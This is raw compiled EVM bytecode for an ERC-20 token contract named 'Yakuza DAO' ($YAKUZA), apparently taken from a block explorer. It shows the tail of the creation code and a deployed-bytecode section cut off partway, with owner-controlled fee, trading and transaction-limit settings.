905050506118e2565b60405180821515815260200191505060405180910390f35b348015610a4057600080fd5b50610a496119ba565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a8157600080fd5b50610ace60048036036040811015610a9857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119e0565b60405180821515815260200191505060405180910390f35b348015610af257600080fd5b50610b3360048036036060811015610b0957600080fd5b810190808035906020019092919080359060200190929190803590602001909291905050506119f5565b005b348015610b4157600080fd5b50610b6e60048036036020811015610b5857600080fd5b8101908080359060200190929190505050611ac4565b6040518082815260200191505060405180910390f35b348015610b9057600080fd5b50610c1360048036036060811015610ba757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b36565b005b348015610c2157600080fd5b50610cc360048036036060811015610c3857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610c7557600080fd5b820183602082011115610c8757600080fd5b80359060200191846020830284011164010000000083111715610ca957600080fd5b909192939192939080359060200190929190505050611c79565b005b348015610cd157600080fd5b50610d3460048036036040811015610ce857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e30565b6040518082815260200191505060405180910390f35b348015610d5657600080fd5b50610d8f60048036036040811015610d6d57600080fd5b8101908080351515906020019092919080359060200190929190505050611eb7565b005b348015610d9d57600080fd5b50610dec60048036036040811015610db457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611f57565b005b348015610dfa57600080fd5b50610e0361202d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e3b57600080fd5b50610e44612053565b005b348015610e5257600080fd5b50610e5b6120eb565b60405180821515815260200191505060405180910390f35b60215481565b60606040518060400160405280600a81526020017f59616b757a612044414f00000000000000000000000000000000000000000000815250905090565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600082610fb483611ac4565b11905092915050565b6000600754905090565b610fd033611495565b611042576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6110db33611495565b61114d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8160198190555080601a819055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461134b576112ca826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120fe9092919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6113568484846121be565b90509392505050565b60006113dc61138f600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611781565b6113ce6113bd600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611781565b60075461299e90919063ffffffff16565b61299e90919063ffffffff16565b905090565b6113ea33611495565b61145c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601e60006101000a81548160ff02191690831515021790555080601e60016101000a81548160ff021916908360ff1602179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006004905090565b61150033611495565b611572576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006115f9827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610eb6565b9050919050565b61160933611495565b61167b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060088190555050565b601e60009054906101000a900460ff1681565b6116a133611495565b611713576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b602060009054906101000a900460ff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601e60019054906101000a900460ff1681565b60095481565b60085481565b6117f233611495565b611864576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b606481600754028161187257fe5b0460098190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f2459414b555a4100000000000000000000000000000000000000000000000000815250905090565b60008273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561197757600080fd5b505af115801561198b573d6000803e3d6000fd5b505050506040513d60208110156119a157600080fd5b8101908080519060200190929190505050905092915050565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006119ed3384846121be565b905092915050565b6119fe33611495565b611a70576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b826010819055508160118190555080601281905550611aaa81611a9c84866129e890919063ffffffff16565b6129e890919063ffffffff16565b601381905550600a60135410611abf57600080fd5b505050565b6000611b2f611ad161135f565b611b21611b126002611b04601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611781565b612a7090919063ffffffff16565b85612a7090919063ffffffff16565b612af690919063ffffffff16565b9050919050565b611b3f33611495565b611bb1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b82601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b611c8233611495565b611cf4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6107d18383905010611d51576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001806137c3602e913960400191505060405180910390fd5b6000838390508202905080611d6586611781565b1015611dd9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c6574000000000081525060200191505060405180910390fd5b60005b84849050811015611e2857611e1a86868684818110611df757fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1685612b40565b508080600101915050611ddc565b505050505050565b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611ec033611495565b611f32576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81602060006101000a81548160ff021916908315150217905550806021819055505050565b611f6033611495565b611fd2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405180600001905060006040518083038185875af1925050503d80600081146120d5576040519150601f19603f3d011682016040523d82523d6000602084013e6120da565b606091505b50509050806120e857600080fd5b50565b601c60149054906101000a900460ff1681565b60008383111582906121ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612170578082015181840152602081019050612155565b50505050905090810190601f16801561219d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000602260009054906101000a900460ff16156121e7576121e0848484612b40565b9050612997565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561228b5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561231357601c60149054906101000a900460ff16612312576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f54726164696e67206e6f74206f70656e2079657400000000000000000000000081525060200191505060405180910390fd5b5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561239957503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156123f35750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561244d5750601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156124a75750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156125015750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561257257600061251184611781565b90506009548382011115612570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603e815260200180613812603e913960400191505060405180910390fd5b505b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156125db5750601e60009054906101000a900460ff165b80156126315750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156127265742601f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106126cd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602581526020018061379e6025913960400191505060405180910390fd5b601e60019054906101000a900460ff1660ff164201601f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6127308483612d13565b612738612de3565b1561274657612745612eba565b5b6127cf826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120fe9092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061281d85613513565b158061282f575061282d84613513565b155b6128935761288e8584601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161461356a565b612895565b825b90506128e981600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129e890919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150505b9392505050565b60006129e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120fe565b905092915050565b600080828401905083811015612a66576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080831415612a835760009050612af0565b6000828402905082848281612a9457fe5b0414612aeb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806137f16021913960400191505060405180910390fd5b809150505b92915050565b6000612b3883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506136d7565b905092915050565b6000612bcb826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120fe9092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c6082600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129e890919063ffffffff16565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60085481111580612d6d5750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612ddf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f5458204c696d697420457863656564656400000000000000000000000000000081525060200191505060405180910390fd5b5050565b6000601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015612e505750602260009054906101000a900460ff16155b8015612e685750602060009054906101000a900460ff165b8015612eb55750602154600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001602260006101000a81548160ff0219169083151502179055506000612ee5601954601a54610fa8565b612ef157601054612ef4565b60005b90506000612f346002612f26601354612f1886602154612a7090919063ffffffff16565b612af690919063ffffffff16565b612af690919063ffffffff16565b90506000612f4d8260215461299e90919063ffffffff16565b90506000600267ffffffffffffffff81118015612f6957600080fd5b50604051908082528060200260200182016040528015612f985781602001602082028036833780820191505090505b5090503081600081518110612fa957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160018151811061301357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156131165780820151818401526020810190506130fb565b505050509050019650505050505050600060405180830381600087803b15801561313f57600080fd5b505af1158015613153573d6000803e3d6000fd5b50505050600061316c824761299e90919063ffffffff16565b90506000613198613187600289612af690919063ffffffff16565b60135461299e90919063ffffffff16565b905060006131d460026131c6846131b88c88612a7090919063ffffffff16565b612af690919063ffffffff16565b612af690919063ffffffff16565b905060006132126003613204856131f660115489612a7090919063ffffffff16565b612af690919063ffffffff16565b612af690919063ffffffff16565b9050600061323d8461322f60125488612a7090919063ffffffff16565b612af690919063ffffffff16565b90506000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168361753090604051806000019050600060405180830381858888f193505050503d80600081146132c6576040519150601f19603f3d011682016040523d82523d6000602084013e6132cb565b606091505b50509050601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168261753090604051806000019050600060405180830381858888f193505050503d8060008114613354576040519150601f19603f3d011682016040523d82523d6000602084013e613359565b606091505b5050809150506000905060008a11156134eb57601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71985308d600080601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561345857600080fd5b505af115801561346c573d6000803e3d6000fd5b50505050506040513d606081101561348357600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506848b604051808381526020018281526020019250505060405180910390a15b50505050505050505050506000602260006101000a81548160ff021916908315150217905550565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b60008060649050821561357d5760155490505b60006135bd826135af6013546135a16064601454028a612af690919063ffffffff16565b612a7090919063ffffffff16565b612a7090919063ffffffff16565b905061361181600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129e890919063ffffffff16565b600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36136cc818661299e90919063ffffffff16565b925050509392505050565b60008083118290613783576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561374857808201518184015260208101905061372d565b50505050905090810190601f1680156137755780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161378f57fe5b04905080915050939250505056fe506c65617365207761697420666f7220636f6f6c646f776e206265747765656e2062757973474153204572726f723a206d61782061697264726f70206c696d6974206973203230303020616464726573736573536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f74616c20486f6c64696e672069732063757272656e746c79206c696d697465642c20796f752063616e206e6f74206275792074686174206d7563682ea26469706673582212200d37e768aa37ef5db054717567206a9a74f5a547fc5d259744e3fed2627bd86964736f6c63430007060033

Deployed Bytecode

0x6080604052600436106102295760003560e01c8063722b62ad11610123578063cec10c11116100ab578063df20fd491161006f578063df20fd4914610d4a578063f84ba65d14610d91578063f887ea4014610dee578063f8ac93e814610e2f578063ffb54a9914610e4657610230565b8063cec10c1114610ae6578063d51ed1c814610b35578063d7c0103214610b84578063d80a463314610c15578063dd62ed3e14610cc557610230565b8063893d20e8116100f2578063893d20e8146108f257806395d89b411461093357806398e0ae14146109c3578063a8aa1b3114610a34578063a9059cbb14610a7557610230565b8063722b62ad1461083357806378109e54146108615780637d1db4a51461088c57806382bf293c146108b757610230565b80632d594567116101b15780635c85974f116101755780635c85974f146106dc578063617fe0ed14610717578063658d4b7f146107445780636ddd1713146107a157806370a08231146107ce57610230565b80632d594567146105395780632f54bf6e14610583578063313ce567146105ea57806350db71fb14610618578063571ac8b01461067557610230565b806318160ddd116101f857806318160ddd146103bc5780631f76a7af146103e7578063201e79911461043857806323b872dd1461047d5780632b112e491461050e57610230565b80630445b6671461023557806306fdde0314610260578063095ea7b3146102f05780631161ae391461036157610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a610e73565b6040518082815260200191505060405180910390f35b34801561026c57600080fd5b50610275610e79565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102b557808201518184015260208101905061029a565b50505050905090810190601f1680156102e25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102fc57600080fd5b506103496004803603604081101561031357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eb6565b60405180821515815260200191505060405180910390f35b34801561036d57600080fd5b506103a46004803603604081101561038457600080fd5b810190808035906020019092919080359060200190929190505050610fa8565b60405180821515815260200191505060405180910390f35b3480156103c857600080fd5b506103d1610fbd565b6040518082815260200191505060405180910390f35b3480156103f357600080fd5b506104366004803603602081101561040a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc7565b005b34801561044457600080fd5b5061047b6004803603604081101561045b57600080fd5b8101908080359060200190929190803590602001909291905050506110d2565b005b34801561048957600080fd5b506104f6600480360360608110156104a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061115f565b60405180821515815260200191505060405180910390f35b34801561051a57600080fd5b5061052361135f565b6040518082815260200191505060405180910390f35b34801561054557600080fd5b506105816004803603604081101561055c57600080fd5b81019080803515159060200190929190803560ff1690602001909291905050506113e1565b005b34801561058f57600080fd5b506105d2600480360360208110156105a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611495565b60405180821515815260200191505060405180910390f35b3480156105f657600080fd5b506105ff6114ee565b604051808260ff16815260200191505060405180910390f35b34801561062457600080fd5b506106736004803603604081101561063b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506114f7565b005b34801561068157600080fd5b506106c46004803603602081101561069857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115cd565b60405180821515815260200191505060405180910390f35b3480156106e857600080fd5b50610715600480360360208110156106ff57600080fd5b8101908080359060200190929190505050611600565b005b34801561072357600080fd5b5061072c611685565b60405180821515815260200191505060405180910390f35b34801561075057600080fd5b5061079f6004803603604081101561076757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611698565b005b3480156107ad57600080fd5b506107b661176e565b60405180821515815260200191505060405180910390f35b3480156107da57600080fd5b5061081d600480360360208110156107f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611781565b6040518082815260200191505060405180910390f35b34801561083f57600080fd5b506108486117ca565b604051808260ff16815260200191505060405180910390f35b34801561086d57600080fd5b506108766117dd565b6040518082815260200191505060405180910390f35b34801561089857600080fd5b506108a16117e3565b6040518082815260200191505060405180910390f35b3480156108c357600080fd5b506108f0600480360360208110156108da57600080fd5b81019080803590602001909291905050506117e9565b005b3480156108fe57600080fd5b5061090761187c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561093f57600080fd5b506109486118a5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561098857808201518184015260208101905061096d565b50505050905090810190601f1680156109b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156109cf57600080fd5b50610a1c600480360360408110156109e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506118e2565b60405180821515815260200191505060405180910390f35b348015610a4057600080fd5b50610a496119ba565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610a8157600080fd5b50610ace60048036036040811015610a9857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119e0565b60405180821515815260200191505060405180910390f35b348015610af257600080fd5b50610b3360048036036060811015610b0957600080fd5b810190808035906020019092919080359060200190929190803590602001909291905050506119f5565b005b348015610b4157600080fd5b50610b6e60048036036020811015610b5857600080fd5b8101908080359060200190929190505050611ac4565b6040518082815260200191505060405180910390f35b348015610b9057600080fd5b50610c1360048036036060811015610ba757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b36565b005b348015610c2157600080fd5b50610cc360048036036060811015610c3857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190640100000000811115610c7557600080fd5b820183602082011115610c8757600080fd5b80359060200191846020830284011164010000000083111715610ca957600080fd5b909192939192939080359060200190929190505050611c79565b005b348015610cd157600080fd5b50610d3460048036036040811015610ce857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e30565b6040518082815260200191505060405180910390f35b348015610d5657600080fd5b50610d8f60048036036040811015610d6d57600080fd5b8101908080351515906020019092919080359060200190929190505050611eb7565b005b348015610d9d57600080fd5b50610dec60048036036040811015610db457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611f57565b005b348015610dfa57600080fd5b50610e0361202d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610e3b57600080fd5b50610e44612053565b005b348015610e5257600080fd5b50610e5b6120eb565b60405180821515815260200191505060405180910390f35b60215481565b60606040518060400160405280600a81526020017f59616b757a612044414f00000000000000000000000000000000000000000000815250905090565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600082610fb483611ac4565b11905092915050565b6000600754905090565b610fd033611495565b611042576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6110db33611495565b61114d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8160198190555080601a819055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461134b576112ca826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120fe9092919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6113568484846121be565b90509392505050565b60006113dc61138f600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611781565b6113ce6113bd600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611781565b60075461299e90919063ffffffff16565b61299e90919063ffffffff16565b905090565b6113ea33611495565b61145c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601e60006101